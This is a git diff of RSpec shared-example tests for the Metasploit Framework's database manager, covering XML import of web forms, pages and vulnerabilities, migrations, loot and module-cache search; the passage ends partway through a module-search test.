a/spec/support/shared/examples/msf/db_manager/import/wapiti.rb b/spec/support/shared/examples/msf/db_manager/import/wapiti.rb new file mode 100644 index 0000000000..2f7432549a --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/wapiti.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Wapiti' do + it { is_expected.to respond_to :import_wapiti_xml } + it { is_expected.to respond_to :import_wapiti_xml_file } +end diff --git a/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb b/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb deleted file mode 100644 index 5e28d2f5e6..0000000000 --- a/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb +++ /dev/null @@ -1,1174 +0,0 @@ -# -*- coding:binary -*- -require 'builder' - -shared_examples_for 'Msf::DBManager::ImportMsfXml' do - # Serialized format from pro/modules/auxiliary/pro/report.rb - def serialize(object) - # FIXME https://www.pivotaltracker.com/story/show/46578647 - marshalled = Marshal.dump(object) - base64_encoded = [marshalled].pack('m') - compact = base64_encoded.gsub(/\s+/, '') - - compact - end - - def with_info - db_manager.should_receive(:import_msf_web_element) do |*args, &specialization| - info = specialization.call(element, options) - - yield info - end - - subject - end - - let(:allow_yaml) do - false - end - - let(:document) do - REXML::Document.new(source) - end - - let(:element) do - nil - end - - let(:host_attributes) do - FactoryGirl.attributes_for(:mdm_host) - end - - let(:msf_web_text_element_names) do - [ - 'created-at', - 'host', - 'path', - 'port', - 'query', - 'ssl', - 'updated-at', - 'vhost' - ] - end - - let(:notifier) do - lambda do |event, data| - - end - end - - let(:options) do - { - :allow_yaml => allow_yaml, - :workspace => workspace - } - end - - let(:service_attributes) do - FactoryGirl.attributes_for(:web_service) - end - - let(:web_form_attributes) do - FactoryGirl.attributes_for(:mdm_web_form, :exported) - end - - let(:web_page_attributes) do - FactoryGirl.attributes_for(:mdm_web_page) - end - - let(:workspace) do - nil - end - - let(:xml) do - Builder::XmlMarkup.new(:indent => 2) - end - - it 'should include methods from module so method can be overridden easier in pro' do - db_manager.should be_a Msf::DBManager::ImportMsfXml - end - - context 'CONSTANTS' do - it 'should define MSF_WEB_PAGE_TEXT_ELEMENT_NAMES in any order' do - described_class::MSF_WEB_PAGE_TEXT_ELEMENT_NAMES =~ [ - 'auth', - 'body', - 'code', - 'cookie', - 'ctype', - 'location', - 'mtime' - ] - end - - it 'should define MSF_WEB_TEXT_ELEMENT_NAMES in any order' do - described_class::MSF_WEB_TEXT_ELEMENT_NAMES =~ msf_web_text_element_names - end - - it 'should define MSF_WEB_VULN_TEXT_ELEMENT_NAMES in any order' do - described_class::MSF_WEB_VULN_TEXT_ELEMENT_NAMES =~ [ - 'blame', - 'category', - 'confidence', - 'description', - 'method', - 'name', - 'pname', - 'proof', - 'risk' - ] - end - end - - context '#check_msf_xml_version!' do - let(:root_tag) do - 'root' - end - - let(:source) do - xml.tag!(root_tag) - - xml.target! - end - - subject(:metadata) do - db_manager.send(:check_msf_xml_version!, document) - end - - it_should_behave_like( - 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', - 'MetasploitExpressV1', - :allow_yaml => true - ) - - it_should_behave_like( - 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', - 'MetasploitExpressV2', - :allow_yaml => true - ) - - it_should_behave_like( - 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', - 'MetasploitExpressV3', - :allow_yaml => false - ) - - it_should_behave_like( - 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', - 'MetasploitExpressV4', - :allow_yaml => false - ) - - context 'with other' do - it 'should raise DBImportError' do - expect { - metadata - }.to raise_error( - Msf::DBImportError, - 'Unsupported Metasploit XML document format' - ) - end - end - end - - context '#import_msf_text_element' do - let(:parent_element) do - document.root - end - - let(:child_name) do - 'child' - end - - let(:child_sym) do - child_name.to_sym - end - - subject(:info) do - db_manager.send(:import_msf_text_element, parent_element, child_name) - end - - context 'with child element' do - let(:source) do - xml.parent do - xml.tag!(child_name, text) - end - - xml.target! - end - - context 'with padded text' do - let(:stripped) do - 'stripped' - end - - let(:text) do - " #{stripped} " - end - - it 'should strip text' do - info[:child].should == stripped - end - end - - context 'with NULL text' do - let(:text) do - 'NULL' - end - - it 'should have nil for child name in info' do - # use have_key to verify info isn't just returning hash default of - # `nil`. - info.should have_key(child_sym) - info[child_sym].should be_nil - end - end - - context 'without NULL text' do - let(:text) do - 'some text' - end - - it 'should have text for child name in info' do - info[child_sym].should == text - end - end - end - - context 'without child element' do - let(:source) do - xml.parent - - xml.target! - end - - it 'should return an empty Hash' do - info.should == {} - end - end - end - - context 'import_msf_web_element' do - let(:element) do - document.root - end - - let(:options) do - {} - end - - let(:specialization) do - lambda { |element, options| - {} - } - end - - subject(:import_msf_web_element) do - db_manager.send( - :import_msf_web_element, - element, - options, - &specialization - ) - end - - context 'with :type' do - include_context 'DatabaseCleaner' - - let(:source) do - xml.tag!("web_#{type}") do - web_site = web_vuln.web_site - service = web_site.service - - xml.host(service.host.address) - xml.path(web_vuln.path) - xml.port(service.port) - xml.query(web_vuln.query) - - ssl = false - - if service.name == 'https' - ssl = true - end - - xml.ssl(ssl) - - xml.vhost(web_site.vhost) - end - - xml.target! - end - - let(:type) do - :vuln - end - - let(:web_vuln) do - FactoryGirl.create(:mdm_web_vuln) - end - - before(:each) do - db_manager.stub( - :report_web_vuln - ).with( - an_instance_of(Hash) - ) - - options[:type] = type - end - - context 'with :workspace' do - let(:workspace) do - double(':workspace') - end - - before(:each) do - options[:workspace] = workspace - end - - it 'should not call Msf::DBManager#workspace' do - db_manager.should_not_receive(:workspace) - - import_msf_web_element - end - - it 'should pass :workspace to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(:workspace => workspace) - ) - - import_msf_web_element - end - end - - context 'without :workspace' do - let(:workspace) do - FactoryGirl.create(:mdm_workspace) - end - - before(:each) do - db_manager.workspace = workspace - end - - it 'should call Msf::DBManager#workspace' do - db_manager.should_receive(:workspace).and_call_original - - import_msf_web_element - end - - it 'should pass Msf::DBManager#workspace to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(:workspace => workspace) - ) - - import_msf_web_element - end - end - - it 'should import all elements in MSF_WEB_TEXT_ELEMENT_NAMES with #import_msf_text_element' do - msf_web_text_element_names.each do |name| - db_manager.should_receive( - :import_msf_text_element - ).with( - element, - name - ).and_call_original - end - - import_msf_web_element - end - - context 'with non-empty Hash from #import_msf_text_element' do - let(:returned_hash) do - { - :host => '192.168.0.1' - } - end - - before(:each) do - db_manager.stub(:import_msf_text_element).and_return(returned_hash) - end - - it 'should pass returned Hash as part of Hash passed to report_web_<:type' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(returned_hash) - ) - - import_msf_web_element - end - end - - context 'ssl element' do - context 'without element' do - let(:source) do - xml.tag!("web_#{type}") - - xml.target! - end - - it 'should pass false for :ssl to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(:ssl => false) - ) - - import_msf_web_element - end - end - - context 'with element' do - let(:source) do - xml.tag!("web_#{type}") do - xml.ssl(ssl) - end - - xml.target! - end - - context "with 'true' text" do - let(:ssl) do - true - end - - it 'should pass true for :ssl to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(:ssl => true) - ) - - import_msf_web_element - end - end - - context "without 'true' text" do - let(:ssl) do - false - end - - it 'should pass false for :ssl to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(:ssl => false) - ) - - import_msf_web_element - end - end - end - end - - context 'specialization block' do - let(:returned_hash) do - { - :specialized => double('Value') - } - end - - let(:specialization) do - lambda { |element, option| - returned_hash - } - end - - it 'should be called with element and options' do - actual_args = [] - - db_manager.send( - :import_msf_web_element, - element, - options) do |*args| - actual_args = args - - returned_hash - end - - actual_args.should == [element, options] - end - - it 'should pass return Hash to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(returned_hash) - ) - - import_msf_web_element - end - end - - context 'notifier' do - context 'with :notifier' do - let(:event) do - "web_#{type}".to_sym - end - - let(:notifier) do - lambda do |*args| - successive_args << args - end - end - - let(:successive_args) do - [] - end - - before(:each) do - options[:notifier] = notifier - end - - it 'should call :notifier with event and path' do - import_msf_web_element - - successive_args.length.should == 1 - - args = successive_args[0] - - args.length.should == 2 - args[0].should == event - args[1].should == web_vuln.path - end - end - - context 'without :notifier' do - it 'should not raise an error' do - expect { - import_msf_web_element - }.to_not raise_error - end - end - end - end - - context 'without :type' do - let(:element) do - nil - end - - it 'should raise KeyError' do - expect { - import_msf_web_element - }.to raise_error(KeyError, 'key not found: :type') - end - end - end - - context '#import_msf_web_form_element' do - let(:type) do - :form - end - - subject(:import_msf_web_form_element) do - db_manager.import_msf_web_form_element( - element, - options, - ¬ifier - ) - end - - context 'call to #import_msf_web_element' do - it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' - - context 'specialization return' do - let(:element) do - document.root - end - - let(:source) do - xml.web_form do - xml.method( - web_form_attributes.fetch(:method) - ) - - serialized_params = serialize( - web_form_attributes.fetch(:params) - ) - xml.params(serialized_params) - end - - xml.target! - end - - it 'should be a Hash' do - with_info do |info| - info.should be_a Hash - end - end - - it 'should include :method' do - with_info do |info| - info[:method].should == web_form_attributes[:method] - end - end - - it 'should include :params' do - with_info do |info| - info[:params].should == web_form_attributes[:params] - end - end - end - end - - context 'with required attributes' do - include_context 'DatabaseCleaner' - - let(:element) do - document.root - end - - let(:source) do - xml.web_form do - xml.host( - host_attributes.fetch(:address) - ) - xml.method( - web_form_attributes.fetch(:method) - ) - xml.path( - web_form_attributes.fetch(:path) - ) - xml.port( - service_attributes.fetch(:port) - ) - - ssl = false - - if service_attributes[:name] == 'https' - ssl = true - end - - xml.ssl(ssl) - end - - xml.target! - end - - it 'should create an Mdm::WebForm' do - expect { - import_msf_web_form_element - }.to change(Mdm::WebForm, :count).by(1) - end - end - end - - context '#import_msf_web_page_element' do - let(:type) do - :page - end - - subject(:import_msf_web_page_element) do - db_manager.import_msf_web_page_element( - element, - options, - ¬ifier - ) - end - - context 'call to #import_msf_web_element' do - it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' - - context 'specialization return' do - let(:element) do - document.root - end - - let(:source) do - xml.web_page do - xml.auth( - web_page_attributes.fetch(:auth) - ) - xml.body( - web_page_attributes.fetch(:body) - ) - xml.code( - web_page_attributes.fetch(:code) - ) - xml.cookie( - web_page_attributes.fetch(:cookie) - ) - xml.ctype( - web_page_attributes.fetch(:ctype) - ) - - serialized_headers = serialize( - web_page_attributes.fetch(:headers) - ) - xml.headers(serialized_headers) - - xml.location( - web_page_attributes.fetch(:location) - ) - xml.mtime( - web_page_attributes.fetch(:mtime) - ) - end - - xml.target! - end - - it 'should be a Hash' do - db_manager.should_receive(:import_msf_web_element) do |*args, &specialization| - info = specialization.call(element, options) - - info.should be_a Hash - end - - import_msf_web_page_element - end - - it 'should include :auth' do - with_info do |info| - info[:auth].should == web_page_attributes.fetch(:auth) - end - end - - it 'should include :body' do - with_info do |info| - info[:body].should == web_page_attributes.fetch(:body) - end - end - - it 'should include :code' do - with_info do |info| - info[:code].should == web_page_attributes.fetch(:code) - end - end - - it 'should include :cookie' do - with_info do |info| - info[:cookie].should == web_page_attributes.fetch(:cookie) - end - end - - it 'should include :ctype' do - with_info do |info| - info[:ctype].should == web_page_attributes.fetch(:ctype) - end - end - - it 'should include :headers' do - with_info do |info| - info[:headers].should == web_page_attributes.fetch(:headers) - end - end - - it 'should include :location' do - with_info do |info| - info[:location].should == web_page_attributes.fetch(:location) - end - end - - it 'should include :mtime' do - with_info do |info| - info[:mtime].should == web_page_attributes.fetch(:mtime) - end - end - end - end - - context 'with required attributes' do - include_context 'DatabaseCleaner' - - let(:element) do - document.root - end - - let(:source) do - xml.web_page do - xml.body( - web_page_attributes.fetch(:body) - ) - xml.code( - web_page_attributes.fetch(:code) - ) - - serialized_headers = serialize( - web_page_attributes.fetch(:headers) - ) - xml.headers(serialized_headers) - - xml.host( - host_attributes.fetch(:address) - ) - xml.path( - web_page_attributes.fetch(:headers) - ) - xml.port( - service_attributes.fetch(:port) - ) - xml.query( - web_page_attributes.fetch(:query) - ) - - ssl = false - - if service_attributes[:name] == 'https' - ssl = true - end - - xml.ssl(ssl) - end - - xml.target! - end - - it 'should create an Mdm::WebPage' do - expect { - import_msf_web_page_element - }.to change(Mdm::WebPage, :count).by(1) - end - end - end - - context '#import_msf_web_vuln_element' do - let(:type) do - :vuln - end - - let(:web_vuln_attributes) do - FactoryGirl.attributes_for(:exported_web_vuln) - end - - subject(:import_msf_web_vuln_element) do - db_manager.import_msf_web_vuln_element( - element, - options, - ¬ifier - ) - end - - context 'call to #import_msf_web_element' do - it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' - - context 'specialization return' do - let(:element) do - document.root - end - - let(:source) do - xml.web_vuln do - xml.blame( - web_vuln_attributes.fetch(:blame) - ) - xml.category( - web_vuln_attributes.fetch(:category) - ) - xml.confidence( - web_vuln_attributes.fetch(:confidence) - ) - xml.description( - web_vuln_attributes.fetch(:description) - ) - xml.method( - web_vuln_attributes.fetch(:method) - ) - xml.name( - web_vuln_attributes.fetch(:name) - ) - xml.pname( - web_vuln_attributes.fetch(:pname) - ) - xml.proof( - web_vuln_attributes.fetch(:proof) - ) - xml.risk( - web_vuln_attributes.fetch(:risk) - ) - end - - xml.target! - end - - it 'should be a Hash' do - with_info do |info| - info.should be_a Hash - end - - import_msf_web_vuln_element - end - - it 'should include :blame' do - with_info do |info| - info[:blame].should == web_vuln_attributes.fetch(:blame) - end - end - - it 'should include :category' do - with_info do |info| - info[:category].should == web_vuln_attributes.fetch(:category) - end - end - - it 'should include :confidence' do - with_info do |info| - info[:confidence].should == web_vuln_attributes.fetch(:confidence) - end - end - - it 'should include :description' do - with_info do |info| - info[:description].should == web_vuln_attributes.fetch(:description) - end - end - - it 'should include :method' do - with_info do |info| - info[:method].should == web_vuln_attributes.fetch(:method) - end - end - - it 'should include :name' do - with_info do |info| - info[:name].should == web_vuln_attributes.fetch(:name) - end - end - - it 'should include :pname' do - with_info do |info| - info[:pname].should == web_vuln_attributes.fetch(:pname) - end - end - - it 'should include :proof' do - with_info do |info| - info[:proof].should == web_vuln_attributes.fetch(:proof) - end - end - - it 'should include :risk' do - with_info do |info| - info[:risk].should == web_vuln_attributes.fetch(:risk) - end - end - end - end - - context 'with required attributes' do - include_context 'DatabaseCleaner' - - let(:element) do - document.root - end - - let(:source) do - xml.web_vuln do - xml.category( - web_vuln_attributes.fetch(:category) - ) - xml.host( - host_attributes.fetch(:address) - ) - xml.method( - web_vuln_attributes.fetch(:method) - ) - xml.name( - web_vuln_attributes.fetch(:name) - ) - - serialized_params = serialize( - web_vuln_attributes.fetch(:params) - ) - xml.params(serialized_params) - - xml.path( - web_vuln_attributes.fetch(:path) - ) - xml.pname( - web_vuln_attributes.fetch(:pname) - ) - xml.port( - service_attributes.fetch(:port) - ) - xml.proof( - web_vuln_attributes.fetch(:proof) - ) - xml.risk( - web_vuln_attributes.fetch(:risk) - ) - - ssl = false - - if service_attributes[:name] == 'https' - ssl = true - end - - xml.ssl(ssl) - end - - xml.target! - end - - it 'should create an Mdm::WebVuln' do - expect { - import_msf_web_vuln_element - }.to change(Mdm::WebVuln, :count).by(1) - end - end - end - - context '#import_msf_xml' do - let(:data) do - '<MetasploitV4/>' - end - - subject(:import_msf_xml) do - db_manager.import_msf_xml(:data => data) - end - - it 'should call #check_msf_xml_version!' do - db_manager.should_receive(:check_msf_xml_version!).and_call_original - - import_msf_xml - end - - context 'with web_forms/web_form elements' do - include_context 'DatabaseCleaner' - - let(:data) do - xml.tag!('MetasploitV4') do - xml.web_forms do - xml.web_form do - xml.host( - host_attributes.fetch(:address) - ) - xml.method( - web_form_attributes.fetch(:method) - ) - xml.path( - web_form_attributes.fetch(:path) - ) - xml.port( - service_attributes.fetch(:port) - ) - - ssl = false - - if service_attributes[:name] == 'https' - ssl = true - end - - xml.ssl(ssl) - end - end - end - - xml.target! - end - - it 'should call #import_msf_web_form_element' do - db_manager.should_receive(:import_msf_web_form_element).and_call_original - - import_msf_xml - end - end - - context 'with web_pages/web_page elements' do - include_context 'DatabaseCleaner' - - let(:data) do - xml.tag!('MetasploitV4') do - xml.web_pages do - xml.web_page do - xml.body( - web_page_attributes.fetch(:body) - ) - xml.code( - web_page_attributes.fetch(:code) - ) - - serialized_headers = serialize( - web_page_attributes.fetch(:headers) - ) - xml.headers(serialized_headers) - - xml.host( - host_attributes.fetch(:address) - ) - xml.path( - web_page_attributes.fetch(:headers) - ) - xml.port( - service_attributes.fetch(:port) - ) - xml.query( - web_page_attributes.fetch(:query) - ) - - ssl = false - - if service_attributes[:name] == 'https' - ssl = true - end - - xml.ssl(ssl) - end - end - end - - xml.target! - end - - it 'should call #import_msf_web_page_element' do - db_manager.should_receive(:import_msf_web_page_element).and_call_original - - import_msf_xml - end - end - - context 'with web_vulns/web_vuln elements' do - include_context 'DatabaseCleaner' - - let(:data) do - xml.tag!('MetasploitV4') do - xml.web_vulns do - xml.web_vuln do - xml.category(web_vuln.category) - - service = web_vuln.web_site.service - xml.host(service.host.address) - - xml.method(web_vuln.method) - xml.name(web_vuln.name) - - serialized_params = serialize(web_vuln.params) - xml.params(serialized_params) - - xml.path(web_vuln.path) - xml.pname(web_vuln.pname) - xml.port(service.port) - xml.proof(web_vuln.proof) - - ssl = false - - if service.name == 'https' - ssl = true - end - - xml.ssl(ssl) - end - end - end - - xml.target! - end - - let(:web_vuln) do - FactoryGirl.create(:mdm_web_vuln) - end - - it 'should call #import_msf_web_vuln_element' do - db_manager.should_receive(:import_msf_web_vuln_element).and_call_original - - import_msf_xml - end - end - end -end diff --git a/spec/support/shared/examples/msf/db_manager/import_msf_xml/check_msf_xml_version_with_root_tag.rb b/spec/support/shared/examples/msf/db_manager/import_msf_xml/check_msf_xml_version_with_root_tag.rb deleted file mode 100644 index 017b08d427..0000000000 --- a/spec/support/shared/examples/msf/db_manager/import_msf_xml/check_msf_xml_version_with_root_tag.rb +++ /dev/null @@ -1,25 +0,0 @@ -# -*- coding:binary -*- -shared_examples_for 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag' do |root_tag, options={}| - options.assert_valid_keys(:allow_yaml) - allow_yaml = options.fetch(:allow_yaml) - - context "with #{root_tag}" do - let(:root_tag) do - root_tag - end - - should_label_by_allow_yaml = { - true => 'should', - false => 'should not' - } - should_label = should_label_by_allow_yaml[allow_yaml] - - it "#{should_label} allow YAML" do - expect(metadata[:allow_yaml]).to eq(allow_yaml) - end - - it "should have #{root_tag} as root tag" do - metadata[:root_tag].should == root_tag - end - end -end diff --git a/spec/support/shared/examples/msf/db_manager/import_msf_xml/import_msf_web_element_specialization.rb b/spec/support/shared/examples/msf/db_manager/import_msf_xml/import_msf_web_element_specialization.rb deleted file mode 100644 index 8ccf5f5573..0000000000 --- a/spec/support/shared/examples/msf/db_manager/import_msf_xml/import_msf_web_element_specialization.rb +++ /dev/null @@ -1,42 +0,0 @@ -# -*- coding:binary -*- -shared_examples_for 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' do - it 'should call #import_msf_web_element with element' do - db_manager.should_receive(:import_msf_web_element).with(element, anything) - - subject - end - - it 'should call #import_msf_web_element with :allow_yaml and :workspace' do - db_manager.should_receive(:import_msf_web_element).with( - anything, - hash_including( - :allow_yaml => allow_yaml, - :workspace => workspace - ) - ) - - subject - end - - it 'should call #import_msf_web_element with :type' do - db_manager.should_receive(:import_msf_web_element).with( - anything, - hash_including( - :type => type - ) - ) - - subject - end - - it 'should pass block to #import_msf_web_element as :notifier' do - db_manager.should_receive( - :import_msf_web_element - ).with( - anything, - hash_including(:notifier => notifier) - ) - - subject - end -end diff --git a/spec/support/shared/examples/msf/db_manager/ip_address.rb b/spec/support/shared/examples/msf/db_manager/ip_address.rb new file mode 100644 index 0000000000..4859b18825 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/ip_address.rb @@ -0,0 +1,7 @@ +shared_examples_for 'Msf::DBManager::IPAddress' do + it { is_expected.to respond_to :ipv46_validator } + it { is_expected.to respond_to :ipv4_validator } + it { is_expected.to respond_to :ipv6_validator } + it { is_expected.to respond_to :rfc3330_reserved } + it { is_expected.to respond_to :validate_ips } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/loot.rb b/spec/support/shared/examples/msf/db_manager/loot.rb new file mode 100644 index 0000000000..8aa0b5ae5b --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/loot.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::DBManager::Loot' do + it { is_expected.to respond_to :each_loot } + it { is_expected.to respond_to :find_or_create_loot } + it { is_expected.to respond_to :loots } + it { is_expected.to respond_to :report_loot } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 1bdcbe44c1..437411b91c 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -1,17 +1,30 @@ shared_examples_for 'Msf::DBManager::Migration' do it { should be_a Msf::DBManager::Migration } + + context '#add_rails_engine_migration_paths' do + def add_rails_engine_migration_paths + db_manager.add_rails_engine_migration_paths + end + + it 'should not add duplicate paths to ActiveRecord::Migrator.migrations_paths' do + add_rails_engine_migration_paths + + expect { + add_rails_engine_migration_paths + }.to_not change { + ActiveRecord::Migrator.migrations_paths.length + } + + ActiveRecord::Migrator.migrations_paths.uniq.should == ActiveRecord::Migrator.migrations_paths + end + end + context '#migrate' do def migrate db_manager.migrate end - it 'should create a connection' do - ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice - - migrate - end - it 'should call ActiveRecord::Migrator.migrate' do ActiveRecord::Migrator.should_receive(:migrate).with( ActiveRecord::Migrator.migrations_paths @@ -140,4 +153,4 @@ shared_examples_for 'Msf::DBManager::Migration' do reset_column_information end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/db_manager/module_cache.rb b/spec/support/shared/examples/msf/db_manager/module_cache.rb new file mode 100644 index 0000000000..5badedcabc --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/module_cache.rb @@ -0,0 +1,1121 @@ +shared_examples_for 'Msf::DBManager::ModuleCache' do + it { is_expected.to respond_to :match_values } + it { is_expected.to respond_to :module_to_details_hash } + it { is_expected.to respond_to :modules_cached } + it { is_expected.to respond_to :modules_cached= } + it { is_expected.to respond_to :modules_caching } + it { is_expected.to respond_to :modules_caching= } + + context '#purge_all_module_details' do + def purge_all_module_details + db_manager.purge_all_module_details + end + + let(:migrated) do + false + end + + let(:module_detail_count) do + 2 + end + + let!(:module_details) do + FactoryGirl.create_list( + :mdm_module_detail, + module_detail_count + ) + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + let(:modules_caching) do + false + end + + before(:each) do + db_manager.stub(:modules_caching => modules_caching) + end + + context 'with modules_caching' do + let(:modules_caching) do + true + end + + it 'should not destroy Mdm::Module::Details' do + expect { + purge_all_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + + context 'without modules_caching' do + it 'should destroy all Mdm::Module::Details' do + expect { + purge_all_module_details + }.to change(Mdm::Module::Detail, :count).by(-module_detail_count) + end + end + end + + context 'without migrated' do + it 'should not destroy Mdm::Module::Details' do + expect { + purge_all_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end + + context '#remove_module_details' do + def remove_module_details + db_manager.remove_module_details(mtype, refname) + end + + let(:migrated) do + false + end + + let(:mtype) do + FactoryGirl.generate :mdm_module_detail_mtype + end + + let(:refname) do + FactoryGirl.generate :mdm_module_detail_refname + end + + let!(:module_detail) do + FactoryGirl.create( + :mdm_module_detail + ) + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + let!(:module_detail) do + FactoryGirl.create(:mdm_module_detail) + end + + context 'with matching Mdm::Module::Detail' do + let(:mtype) do + module_detail.mtype + end + + let(:refname) do + module_detail.refname + end + + it 'should destroy Mdm::Module::Detail' do + expect { + remove_module_details + }.to change(Mdm::Module::Detail, :count).by(-1) + end + end + + context 'without matching Mdm::Module::Detail' do + it 'should not destroy Mdm::Module::Detail' do + expect { + remove_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end + + context 'without migrated' do + it 'should not destroy Mdm::Module::Detail' do + expect { + remove_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end + + context '#search_modules' do + subject(:search_modules) do + db_manager.search_modules(search_string) + end + + let(:module_details) do + search_modules.to_a + end + + context 'with app keyword' do + let(:search_string) do + "app:#{app}" + end + + before(:each) do + Mdm::Module::Detail::STANCES.each do |stance| + FactoryGirl.create(:mdm_module_detail, :stance => stance) + end + end + + context 'with client' do + let(:app) do + 'client' + end + + it "should match Mdm::Module::Detail#stance 'passive'" do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.stance == 'passive' + }.should be_truthy + end + end + + context 'with server' do + let(:app) do + 'server' + end + + it "should match Mdm::Module::Detail#stance 'aggressive'" do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.stance == 'aggressive' + }.should be_truthy + end + end + end + + context 'with author keyword' do + let(:search_string) do + # us inspect so strings with spaces are quoted correctly + "author:#{author}" + end + + let!(:module_authors) do + FactoryGirl.create_list(:mdm_module_author, 2) + end + + let(:target_module_author) do + module_authors.first + end + + context 'with Mdm::Module::Author#email' do + let(:author) do + target_module_author.email + end + + it 'should match Mdm::Module::Author#email' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.email == target_module_author.email + } + }.should be_truthy + end + end + + context 'with Mdm::Module::Author#name' do + let(:author) do + # use inspect to quote space in name + target_module_author.name.inspect + end + + it 'should match Mdm::Module::Author#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.name == target_module_author.name + } + }.should be_truthy + end + end + end + + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :bid + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :cve + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :edb + + context 'with name keyword' do + let(:search_string) do + "name:#{name}" + end + + let!(:existing_module_details) do + FactoryGirl.create_list(:mdm_module_detail, 2) + end + + let(:target_module_detail) do + existing_module_details.first + end + + context 'with Mdm::Module::Detail#fullname' do + let(:name) do + target_module_detail.fullname + end + + it 'should match Mdm::Module::Detail#fullname' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.fullname == target_module_detail.fullname + }.should be_truthy + end + end + + context 'with Mdm::Module::Detail#name' do + let(:name) do + # use inspect so spaces are inside quotes + target_module_detail.name.inspect + end + + it 'should match Mdm::Module::Detail#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.name == target_module_detail.name + }.should be_truthy + end + end + end + + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :os + + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :osvdb + + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :platform + + context 'with ref keyword' do + let(:ref) do + FactoryGirl.generate :mdm_module_ref_name + end + + let(:search_string) do + # use inspect to quote spaces in string + "ref:#{ref.inspect}" + end + + let!(:module_ref) do + FactoryGirl.create(:mdm_module_ref) + end + + context 'with Mdm::Module::Ref#name' do + let(:ref) do + module_ref.name + end + + it 'should match Mdm::Module::Ref#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == ref + } + }.should be_truthy + end + end + + context 'without Mdm::Module::Ref#name' do + it 'should not match Mdm::Module::Ref#name' do + module_details.count.should == 0 + end + end + end + + context 'with type keyword' do + let(:type) do + FactoryGirl.generate :mdm_module_detail_mtype + end + + let(:search_string) do + "type:#{type}" + end + + let(:target_module_detail) do + all_module_details.first + end + + let!(:all_module_details) do + FactoryGirl.create_list(:mdm_module_detail, 2) + end + + context 'with Mdm::Module::Ref#name' do + let(:type) do + target_module_detail.mtype + end + + it 'should match Mdm::Module::Detail#mtype' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.mtype == type + }.should be_truthy + end + end + + context 'without Mdm::Module::Detail#mtype' do + it 'should not match Mdm::Module::Detail#mtype' do + module_details.count.should == 0 + end + end + end + + context 'without keyword' do + context 'with Mdm::Module::Action#name' do + let(:search_string) do + module_action.name + end + + let!(:module_action) do + FactoryGirl.create(:mdm_module_action) + end + + it 'should match Mdm::Module::Action#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.actions.any? { |module_action| + module_action.name == search_string + } + }.should be_truthy + end + end + + context 'with Mdm::Module::Arch#name' do + let(:search_string) do + module_arch.name + end + + let!(:module_arch) do + FactoryGirl.create(:mdm_module_arch) + end + + it 'should match Mdm::Module::Arch#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.archs.any? { |module_arch| + module_arch.name == search_string + } + }.should be_truthy + end + end + + context 'with Mdm::Module::Author#name' do + let(:search_string) do + module_author.name + end + + let!(:module_author) do + FactoryGirl.create(:mdm_module_author) + end + + it 'should match Mdm::Module::Author#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.authors.any? 